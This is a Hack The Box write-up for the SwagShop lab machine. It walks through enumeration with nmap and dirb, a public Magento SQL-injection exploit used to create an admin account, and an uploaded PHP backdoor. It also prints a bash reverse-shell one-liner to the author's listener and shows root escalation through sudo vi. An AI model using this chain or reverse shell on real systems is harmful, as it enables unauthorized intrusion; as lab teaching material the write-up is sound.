Hack The Box: SwagShop write-up
Post
Cancel

# Hack The Box: SwagShop machine write-up

This machine, that runs with ip 10.10.10.140, was a really good and entertaining way of learning about Magento CMS and how different exploits can be chained together in order to achieve RCE. The first one is based on a SQL injection which lets us add a user to the Magento db, which then grants us access to the admin panel. From there, we can upload a backdoor that can be escalated to root thanks to a misconfiguration on the server that lets us run sudo with vi as user www-data.

The only downside of it was that most people were making it crash all the time, which made it really hard for me to be able to experiment without constant resets… Overall I’d say this was one of the most unstable boxes I’ve done.

Let’s begin!

### Enumeration

As always, we start by enumerating open ports to discover the services running in the machine. I fire up nmap:

Result of nmap scan

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # Nmap 7.70 scan initiated Tue Jun 11 10:41:39 2019 as: nmap -sV -sC -oA nmap/initial 10.10.10.140 Nmap scan report for 10.10.10.140 Host is up (0.025s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA) | 256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA) |_ 256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Error 503: Service Unavailable Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue Jun 11 10:41:53 2019 -- 1 IP address (1 host up) scanned in 14.33 seconds 

We don’t have much, just SSH and a web server, so we’ll start by checking out port 80.

#### Web server enumeration

At first we are greeted with what looks like a store. Upon this, I immediately run dirb on the background so that it runs while I tinker around with the website.

Website found on port 80

I didn’t found much manually, so I came back to check the dirb results and bingo! It found something:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Wed Jun 12 17:18:17 2019 URL_BASE: http://10.10.10.140/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://10.10.10.140/ ---- ==> DIRECTORY: http://10.10.10.140/app/ ==> DIRECTORY: http://10.10.10.140/downloader/ ==> DIRECTORY: http://10.10.10.140/errors/ + http://10.10.10.140/favicon.ico (CODE:200|SIZE:1150) ==> DIRECTORY: http://10.10.10.140/includes/ + http://10.10.10.140/index.php (CODE:200|SIZE:16097) ==> DIRECTORY: http://10.10.10.140/js/ ==> DIRECTORY: http://10.10.10.140/lib/ ==> DIRECTORY: http://10.10.10.140/media/ ==> DIRECTORY: http://10.10.10.140/pkginfo/ + http://10.10.10.140/server-status (CODE:403|SIZE:300) ==> DIRECTORY: http://10.10.10.140/shell/ ==> DIRECTORY: http://10.10.10.140/skin/ ==> DIRECTORY: http://10.10.10.140/var/ 

Accessing /downloader we can observe that the website is using Magento, a CMS that was subject to some attacks in the past.

Control panel for Magento (/downloader)

#### Gaining user with Magento

We don’t have any credentials to log in to the control panel, so I went straight into searchsploit to see if there were any exploits available.

Results from searchsploit search

I started to try all of them until one finally worked: Magento eCommerce - Remote Code Execution. I copied the python script to my working directory with: searchsploit -m exploits/xml/webapps/37977.py. And had a look at it. It looked like a SQL injection, so I ran it after modifying the following lines:

1 target = "http://10.10.10.140/index.php" 

Then I modified the credentials I wanted to have to be root2u:root2u and ran it:

Output of exploit script

The I just log in to the panel with those creds and have the possibility to upload some kind of package:

/downloader control panel

I googled around and found this website where it’s explained how it’s possible to create a package with a simple php file. I followed it and used this shell from pentestmonkey. However, it didn’t work and the php file was recognised as a directory when I tried to access it.

Uploading module as a .tar.gz file doesn’t work

Eventually I bumped into an article on the internet where they were using another extension: .tgz. I tried and it worked!

Running a curl on http://10.10.10.140/errors2/backdoor.php grants me a shell and we can read the user flag:

Shell gained from php backdoor

### Getting to root

Once on this shell I noticed that I needed an actual proper shell and sho I opened up another listener with netcat and ran: bash -c 'bash -i >& /dev/tcp/10.10.12.11/8080 0>&1'.

After that, I ran sudo -l to see if I could run any commands as root and it turned out that I did:

Improving the shell

I can run the file editor vi as root under the directory /var/www/html/* so I created a new file and used a command propmt command to read the root flag (commands can be executed from within vi):

Getting the root hash

And that’s it! I could’ve also ran :!/bin/bash` to get a root shell and read the flag from there, but I just did this as it was more straightforward.

I hope you learned something with this cool box and enjoyed the write-up!